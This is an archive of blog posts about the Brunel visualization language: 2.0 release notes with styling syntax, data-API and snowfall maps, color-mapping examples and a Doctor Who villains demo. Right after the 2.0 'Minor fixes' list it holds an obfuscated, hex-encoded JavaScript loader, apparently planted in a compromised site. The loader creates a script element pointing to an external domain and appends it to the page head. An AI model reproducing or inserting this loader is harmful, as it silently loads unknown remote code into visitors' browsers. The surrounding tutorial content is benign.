Brunel 2.0 Preview

Published by: workingvis

We’ve been quiet on this site for a little while; few examples as we’ve been working on new features for our upcoming 2.0 release in August. Here’s the current version of the release notes, showing what new features will be added:

2.0 Release Notes


Brunel is now accessible. By specifying the accessibility flag in BuilderOptions
(also by using -accessibility as n option for the command-line tools), then Brunel generates
SVG with Aria roles and labels so as to allow aria compliant screen readers to read the
content of items. The content is currently in English only. Veuillez nous excuser.

Brunel adds region roles to major areas, such as elements (in a multi-element chart),
charts (in a multi-chart visualization), axes and legends. This should allow the user to use
a compliant navigation system to navigate through the major blocks and arrive at the one you
desire rapidly.

The system has been tested with Apple’s Voice Over technology, but we are actively looking
for feedback on this feature, particularly how we can improve it to make it more useful for
all people, rather than merely compliant.

High-contrast views can be mostly achieved by use of a custom-designed style sheet. This is
not an area we have addressed in this release.



Gridlines have been brought back in Brunel, and additional syntax added for them.
Previously gridlines were generated by default, but were styled to be invisible.
Also, they didn’t work well …

The new way to request gridlines is to use a grid modifier on an axes() command
to request them, for example:

x(summer) y(winter) axes(x:grid, y:grid)
x(summer) y(winter) axes(x:grid:50, y:grid)
x(Summer) y(Population:log) axes(x, y:grid)

Standard CSS styling applies to the grid lines; you can set it in the style sheet you use,
or define it either for both sets of gridlines, or individually:

x(Summer) y(Population) axes(x:grid, y:grid) style('.grid {stroke:green}')
x(Summer) y(Population) axes(x:grid, y:grid) style('.grid{opacity:1}
   .grid.y {stroke-dasharray:5,5} .grid.x {stroke-width:40px; opacity:0.2}')


label-location is now supported on styles for axis title locations, and can be used to place the
axes titles relative to the axis. We have also improved support for large title fonts.
Below is an example of this in operation:

x(Region) y(dem_rep) transpose tooltip(#all)
style('.axis .title { fill:red; label-location:right; font-size:60px }')

Padding and mark sizes

We now support padding in the CSS for text elements associated with axes and legends.
padding, padding-left, padding-right, padding-top and padding-bottom are all supported,
with standard units EXCEPT that we do not support percentage padding.

Here is an example of the use with axes:

bar x(Winter) y(#count) sort(#count) tooltip(#all) bin(Winter)
style('.axis .title {fill:red;label-location:left; padding-left:1in}

We also now use the css size for the tick mark (.tick line) to determmine its size.

The following Brunel is long and ugly, but shows all the styles in action:

x(winter) y(summer) style('.axis.y .tick text{fill:red;padding-right:10px}')
title('Ugly Style test')
style('.axis.x .tick text{fill:blue;font-size:1cm; padding:2mm} .axis .tick line{size:-5mm} ')
style('.axis .title {label-location:left;font-size:20px}')
style('.axis .title {label-location:left;font-size:20px;font-style:italic;padding-left:1in}')
style('.header {fill:red;font-size:40px;padding-bottom:50px;label-location:right}')


Elements that have been selected now have the css class ‘selection’ defined for them.
This allows you to use style definitions for custom display of selected elements, as
in the below:

point x(Longitude) y(Latitude) color(region) size(population:1000%)
style('.selected {opacity:0.5; stroke-opacity:1; stroke-width:2; stroke-dasharray:2 2}
.element {opacity:0.2}') interaction(select:mouseover)

Labels for elements that are selected also have the selected class defined, so you
can modify selected labels’ appearances using styles. In this version, we only
support one position modifier — vertical-align. If this value is set to a pixel value
(such as 20px or -30px) it will move the text the indicated amount AFTER placement

Here is a long sample with a lot of styling going on for text:

data('sample:whiskey.csv') bar x(category) y(#count) transpose
size(#selection:[20%, 80%]) sort(#count:ascending) label(category) axes(y)
style('.label.selected {fill:yellow; text-shadow:0px 0px 4px black; vertical-align:18px; text-transform:uppercase}')
style('label-location:outside-top-right; text-align:end; padding:1px')

Another modification was done to how we hand overlapping data labels; previously they were
removed from the display, but now they are given the class overlap which our default
style sheet hides, but you can modify to treat any way you want. For example:

data('sample:whiskey.csv') point x(Age) y(Price) label(category:5)
style('.overlap {visibility:visible; text-shadow:none; opacity:0.2}')

Axis ranges

The initial range of a numeric field can be set by defining a range for the x or y
command, much like a transform. Examples are:

point x(Longitude:[-100, -80]) y(Latitude:[35, 45])


We have added a new feature to allow an element to define a guide. This is described more fully in
the complete documentation, but here is an example showing its use:

x(winter) y(summer) + guide(y:40+x, y:70, y:'70+10*sin(x)')
style('.guide1{stroke:red} .guide3 {stroke-dasharray:none}')


A new animate command has been added that provides an interactive control to animate a visualization over
the values of a continuous field. As part of this, labels on continuous filters have improved (particularly for date fields).

The interaction(select) command and also the new callback event command interaction(call:func)
can now take an event name parameter snap that allows interactivity to be fired when the
mouse is near a data item on screen

interaction(call:func) has been added; the ability to call bak to a javascript function to handle
events in special ways. A new page in the documentation describes the API.

interaction(panzoom) can now take options x, y, xy, auto as well as none which allow
detailed control of how panning and zooming operate


R Notebooks (IRkernel) no longer require use of a web service. Simply install Brunel Visualization directly into R and enjoy.

Minor fixes

  • Wrapped text in Firefox browsers has been improved to compensate for the difference in
    how FF calculates text height.

var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Data APIs and Visualization: The Sum is Greater Than the Parts

Published by: Dan Rope

U.S. Government data has always been available for free to the public, but it can be tricky to find data curated to the point that it is easily consumed by all of our fancy visualization tools.  The folks over at have done some interesting work building a data API that works across a variety of common and useful government statistics.  I was curious to see what the potential might be when we take a simple web data API and feed its content to a simple visualization language…

The mechanics turned out to be easy since the API allows results formatted as CSV–which is what Brunel Visualization can consume.  So the data query essentially boils down to a URL placed inside a Brunel data() statement.  Visualizations can even be immediately created by pasting these URLs into the “data” section of the Brunel Visualization online app.

So, on to some examples..  This first one uses workforce data from the ACS PUMS data provided by the US Census Bureau.  The top graph shows a heatmap of wages by hours worked per week (binned) and colored by age for full time employees.  The age value is the median of the average ages of the occupations in the bin.  Note: it would probably be better here to calculate a weighted average of age using the field containing the number of people within the occupation.  Click on a cell to see the occupations within it below on the bubble chart.  The size of the bubble represents the number of people in the occupation and the color corresponds to the Gini coefficient.  Higher (darker) Gini values indicate greater inequality wages for the occupation.

It’s interesting to poke around with some of the outlying cells to find the occupations with the highest wages and shortest hours or vice versa.  Also, the occupations in these outlying cells seem to have the most consistency for wages.

The full code (including retrieving the data) for the above example is:

x(avg_wage_ft) y(avg_hrs_ft) color(avg_age_ft:red) median(avg_age_ft)  
    bin(avg_wage_ft, avg_hrs_ft)  interaction(select) | 
bubble x(soc_name) color(gini_ft:blue) size(num_ppl_ft) label(soc_name) 
    sum(num_ppl_ft) tooltip(#all) interaction(filter)

As expected, a lot of government data is summarized geographically.  This next example uses health metrics aggregated at the state level from the University of Wisconsin’s County Health Rankings.  The histograms show the distributions of four of these metrics across all 50 states.  Roll the mouse over a histogram bar to highlight (brush) to see which states correspond to those values–or, click on your state (if you reside in the US) to see where the values for your state land for each metric.

Again, the full source code is:

map key(geo_name) opacity(#selection) tooltip(geo_name,adult_obesity,health_care_costs,diabetes,
    excessive_drinking) at(0,0,100,50) interaction(select) |  
bar x(adult_obesity) axes(x) y(#count) bin(adult_obesity) opacity(#selection) stack 
    interaction(select:mouseover) at(0,50,50,75)  |  
bar x(health_care_costs) axes(x) y(#count) bin(health_care_costs) opacity(#selection) stack 
    interaction(select:mouseover) at(0,75,50,100)  |  
bar x(diabetes) axes(x) y(#count) bin(diabetes) opacity(#selection) stack  
    interaction(select:mouseover) at(50,50,100,75) | 
bar x(excessive_drinking) axes(x) y(#count) bin(excessive_drinking) opacity(#selection) stack 
    interaction(select:mouseover) at(50,75,100,100)

Having served in a government data agency in the past, I am well aware that a major concern that comes with this type of flexibility is the potential for misuse by not reading the fine print about what the data is and what it represents.  Nonetheless, powerful data APIs combined with flexible, rapid visualization design provide significant and interesting learning opportunities.


Published by: Dan Rope

After shoveling the driveway several times and burning through the Netflix que, one way to counter act cabin fever is to hunt down some snowfall data and play around with it.  So, I found some data over at the National Weather Service that contains snowfall depth measurements collected from a variety of sources around the region at various time points during the storm.

The map shows the maximum snowfall depth at any given location recorded from Friday until Sunday.  The deepest measurements are labeled. The area near West Virginia clearly bore the brunt of the storm, but there were some areas closer to DC that came close.  Everyone pretty much got a lot of snow.

snowzilla_mapBrunel Code:

map('usa') + x(Lat) y(Lon) max(Snowfall) color(Snowfall:blues) tooltip(City,Snowfall) style("stroke-width:0;opacity:.4;size:15px") + 
map('labels')  + x(Lat) y(Lon) max(Snowfall) top(Snowfall:10)  label(Snowfall, '"') text style("font-family:Impact;fill:darkblue") tooltip(City,Snowfall)

Apparently there was a bit of controversy regarding the exact snowfall measurement at Washington National Airport.  To try to look at this, I added a timeline graph that is linked to the map so I could see the snowfall amounts at different time points.  The data are binned to roughly 2 hours and these bins are colored by the number of measurements taken within the time range.  Clicking on a bin shows the measurements on the map–and I zoomed in to the airport.  I do not appear to have all the data showing the issue; but, I can see measurements in nearby areas and who did them.  Perhaps the upshot was that the difference is significant for historical and business reasons–but it probably won’t make your back feel much better.

snowzilla_zoom_mapBrunel Code:

map('usa') at(0,0,100,75) + x(Lat) y(Lon) size(Snowfall:200%) max(Snowfall) color(Source) label(Snowfall,City) tooltip(Snowfall, City, Source) interaction(filter)  at(0,0,100,75) + map(labels)  at(0,0,100,75) |  x(Time) bin(Time:20) color(#selection) opacity(#count) interaction(select) tooltip(Time)  at(0,85,100,100)

Since the storm lasted nearly 36 hours, it can also be interesting to look at the depths over time.  The variable sized paths below show that the snow generally started to really pile up Friday night and also that Maryland and West Virginia seemed to reach their peak a little bit sooner than Virginia.  The boxes that are overlaid on the paths show the number of measurements that were taken at binned time intervals.  More measurements were taken in Virgina and Maryland–and most measurements seem to have been taken towards the end of the major accumulation.


Brunel Code:

path x(Time) y(State) color(State) bin(Time:20)  size(Snowfall) max(Snowfall) legends(none) + x(Time) y(State) color(#count) bin(Time:30) style('height:20px')

Lastly, if you are familiar with the area, you’ll quickly recognize the county names.  Below is a cloud with county names sized by the max snowfall depths and colored by their state.  Counties with larger snowfall amounts appear more towards the center.  Most names are nearly the same size because everyone got a lot of snow!


Brunel Code:

cloud color(State) size(Snowfall:150%) label(County) max(Snowfall) sort(Snowfall)  style('.element {font-family:Impact;}')

Maps Preview

Published by: workingvis

A short update today; we have been working on intelligent mapping for Brunel 1.0 (due in January) and since it’s a subject many people are interested in, we thought we’d put up a “work in progress” video showing how things are progressing. It’s a rough video, so you get to see my inability to type accurately as well as some rough transitions. Showing the video at full resolution is recommended.

Usual disclaimers apply: this is planned for v1.0 in January, we expect it to work as described, but no guarantees — Enjoy!

Brunel 0.8: Enhanced Color mapping

Published by: workingvis

The two main new features of Brunel 0.8 are an enhanced UI for building (as described by Dan) and a through re-working of our code for mapping data to color. This post is going to talk about the latter — with a lot of examples!

Twelve Ways to Color Africa

The data set we are using is from We took a subset of the countries and data columns (CSV data)  for this exercise.

These examples are using some prototype code for geographic maps that we are going to introduce into a later version of Brunel (probably v1.0, slated for January), but maps looks so nice, we wanted to use them for this article. Please do not depend on the currently functionality — consider this “advance preview” and highly subject to change.

Because there are a lot of maps, these are not live versions, but static images — click on them to open up a Brunel editor window where you can see it live and make changes.

The Brunel language reference describes the improvements to the color command in detail. Here we just show examples!

Categorical Colors


The above two images are created by the following Brunel:

  • map('africa') x(name) color(language) label(iso) tooltip(#all) style('.label{opacity:0.5;text-shadow:none}')
  • map('africa') x(name) color(language:[white, nominal]) label(iso) tooltip(#all) style('.label{opacity:0.5;text-shadow:none}')

For all our examples, the only changes are the color statement, so from now on we'll just refer to the color command.

If you use a simple color command, as in the first example, Brunel chooses a suitable palette. In this case “language” is a categorical field, so it chooses a nominal palette. This is a palette of 19 colors chosen to be visually distinct.

The second example specifies which colors we want in the output space. The first category in the “language” field is special, so we ask for a palette consisting of white, then all the usual colors from the nominal palette.

africa4Because we know the data well, we can hand-craft a color mapping here that reflects the language patterns better. I used color(language:[white, red, yellow, green, cyan, green, green, blue, blue, blue, blue, gray, gray, gray, gray, gray])  to use red for lists containing Arabic, green when they contain English, and blue when they contain French. I mixed the colors to show lists where the languages are mixed.

The geographical similarities in languages can be seen pretty easily in the chart, but the colors are a bit bright. Which leads to the following …

For areas and “large” shapes, Brunel automatically creates muted versions of colors, so names like “red” and “green” are less visually dominant and distracting. This can be altered by adding a “=” to the list of colors, which means “leave the colors unmuted”, or a series of asterisks, which means “mute them more”. Here are a couple of examples, using the same basic palette as the previous one


africa7If you have a smaller fixed number of categories in your field, you can use palettes carefully designed to work well for that number. Rather than provide them in Brunel, our suggestion is to go directly to a site that allows you to select them (Cynthia Brewer's site ColorBrewer is  the standout recommendation) and copy the array of color codes and paste them directly into the Brunel code.

For the example on the right, we did exactly that, using en:['#beaed4', '#7fc97f']) as out colors (the quotes are optional in this list)

Color Ranges

For numeric data, we want to map the data values to a smoothly changing range of values. So, instead of defining individual values, we define values which are intermediate points on a smoothly changing scale of colors. We do this using the same syntax pattern as for categorical data. We are using the latitude of the capital city to color by, rather than a more informative variables, so the color changes can be seen more clearly.


On the left we specified color as color(capital_lat) so we get Brunel's default blue-red sequential scale. This uses a variety of hues, again taken from ColorBrewer, to provide points along a linear scale of color. On the right we use an explicit color mapping from ColorBrewer, color(capital_lat:['#8c510a', '#bf812d', '#dfc27d', '#f6e8c3', '#f5f5f5', '#c7eae5', '#80cdc1', '#35978f', '#01665e']), where we simply went to the site, found a scale we liked and used the export>Javascript method. Note that Brunel will adapt to to the number of colors in the palette automatically.


The above two charts show the difference between asking for color(capital_lat:reds) and color(capital_lat:red). When a plural is used, it gives a palette that uses multiple hues, with the general tone of the color being requested. With a  singular color request, you only gets shades of that exact hue. Generally we would recommend the former unless you have some specific reason to need the single-hue version.


We can specify multiple colors in the same way as we do for categorical data, using capital_lat:[purpleblues, reds]) on the left and capital_lat:[blue, red]) on the right. When we have exactly two colors defined, we stitch them together, running through a neutral central color, to make a diverging color scale that highlights the low and high values of the field.


Mapping data to color is a tricky business, and in version 0.8 of Brunel our goal is twofold: To ensure that if you only specify a field, a suitable mapping is generated, and second, to allow the output space of colors to be customized for user needs. In future versions of Brunel we will add mapping for the input space, so, for example, we could tie the value mapped to white in the last example to be the equator, not simply midway through the data range. Look for that in a few months!

Blogging with Brunel: Part 2

Published by: Dan Rope


Graham’s earlier post demonstrated how you can use the online Brunel app (/try) to try out Brunel and include live visualizations that show your data within blog posts or other online content.

Partly because it is somewhat self-serving–since we will use this very blog for this exact purpose; but mostly, because we feel this is something Brunel can offer, we have updated the app with several new features and a new look.

The video demonstrates all of the new features, but the major ones are:

  • The Gallery and Cookbook are now integrated directly into the app
  • More editing features (titles, descriptions and resizing)
  • Uploaded or referenced data will show the individual data fields–selecting any one will show a quick visualization of that field
  • More deployment options.  Specifically, there are two new options that produce self-contained visualizations that do not require our service for deployment.

Feel free to give it a spin at /try.  Thoughts?  Ideas?  Feature requests?  Issues?  Let us know on github..

Using Brunel in IPython/Jupyter Notebooks

Published by: Dan Rope


Analytics and visualization often go hand-in-hand.  One of the great things about notebooks such as IPython/Jupyter is that they provide a single interface to numerous data analysis technologies that often can be used together.  So, using Brunel within notebooks is a very natural fit.  For example, I can use a wide variety of python libraries to cleanse, shape and analyze data–and then use Brunel to visualize those results.

Additionally, coming up with a good visualization is a highly iterative process:  Try something, look at the results and refine until done.   So, again, the notebook metaphor of having live code execution near the results is extremely convenient.  Lastly, since notebook cells containing output can themselves be interactive, direct manipulation techniques such as brushing/linking, filtering and selection are also available.

To try this out, we have provided an integration of Brunel for Python 3 that runs in IPython/Jupyter notebooks.  Details on how to install and get started are on the PyPI site.  The video above gives a very small taste of the kinds of things that are possible.


Villains of Doctor Who

Published by: workingvis

I've always been a big Doctor Who fan; growing up with the BBC and seeing many incarnations of the Doctor striding across the TV screens, defeating his enemies armed with intelligence, loquaciousness, and a small (admittedly sonic) screwdriver. In particular I recall being terrified of the villains in “The Talons of Weng-Chiang”, which, nowadays, do not seem particularly scary. But the villains of Who have always been magical!

So I was excited to find a data set of Doctor Who villains through 2013 (courtesy of The Guardian) and used it for a short Brunel demo video. I left it as-is for the video, but it was clear the data set needed a bit of cleaning. The column names were more like descriptions than titles, which was annoying, but the biggest issue was the Motivation column, which was more like a description than  categorization. So I edited the data a little — changing the column titles and then providing a manual clustering of motivation into smaller categories, creating three motivation columns: Motivation_Long, the original; and Motivation_Med, Motivation_Short — my groupings of those original categories. With these changes, I saved the resulting CSV file as DoctorWhoVillains.csv. You can check out an overview of the motivation columns in the Brunel Builder.

As usual with data analysis, it took way longer to do the data prep work than to use the results! I quite like this summary visualization, which is simply three shorter ones joined together with Brunel's '|' operator:

Doctor Who Villains through 2103

Doctor Who Villains through 2103

The bubble chart and word cloud show pretty much the same information — the cloud scales the size by the Log of the number of stories (otherwise the Daleks tend to exterminate any ability to see lesser villains) and is limited to the top 80-ish villains by appearance count. The bottom chart shows when villains first appeared and their motivation. The label in each cell is a representative villain from that cell, so the Sensorites are a representative dominating villain from the 1960-1965 era. The years have been binned into half decades. At a glance, it looks like extermination and domination are common themes early on, whereas self interest is more of a New Who (post-2000) thing. Serving Big Bad is evenly spread out over time.

 The Brunel script for this is quite long, as I wanted to place stuff carefully and add styling:

data('/data/DoctorWhoVillains.csv') bubble color(Motivation_Short) size(Episodes) sort(First:ascending) label(Villain) tooltip(Villain, motivation_long, titles) at(0, 0, 60, 60) style('* {font-size: 7pt}') | data('/data/DoctorWhoVillains.csv') cloud x(Villain) color(motivation_short) size(LogStories) sort(first:ascending) top(episodes:80) at(40, 0, 100, 55) style(':nth-child(odd) { font-family:Impact;font-style:normal') style(':nth-child(even) { font-family:Times; font-style:italic') style('font-size:100px') | data('/data/DoctorWhoVillains.csv') x(motivation_short) y(first) color(episodes:gray) sort(episodes) label(villain) tooltip(titles) bin(first:10) sum(episodes) mode(villain) list(titles) legends(none) at(0, 60, 100, 100) style('label-location:box')

 Without the data and decoration statements, this is what it looks like — three charts concatenated together with the '|' to make an visualization system:

bubble color(Motivation_Short) size(Episodes) sort(First:ascending) label(Villain) tooltip(Villain, motivation_long, titles) 
| cloud x(Villain) color(motivation_short) size(LogStories) sort(first:ascending) top(episodes:80)
| x(motivation_short) y(first) color(episodes:gray) sort(episodes) label(villain) tooltip(titles) bin(first:10) sum(episodes) mode(villain) list(titles) legends(none)

 I was curious about when villains first appeared, so came up with this chart — stacking villains in their year of first appearance (click on it for the live version):

And here are a couple of additional samples I made along the way …

  • Treemap I used to check my clustering of motivation.
  • Looking at the longevity of villains.
  • Still some data errors! The list of Doctor Numbers is not to be trusted …

Blogging With Brunel

Published by: workingvis


Here’s a short video showing how to create a blog entry using Brunel in a few minutes. The data comes from The Guardian and is completely unmodified, as you can see in the video from the fairly odd column names! I’m making a cleaner version of the data and hope to have some samples of that up in a  few days.

The video is high resolution (1920 x 1080) and about 60M. It’s probably best viewed expanded out to full screen.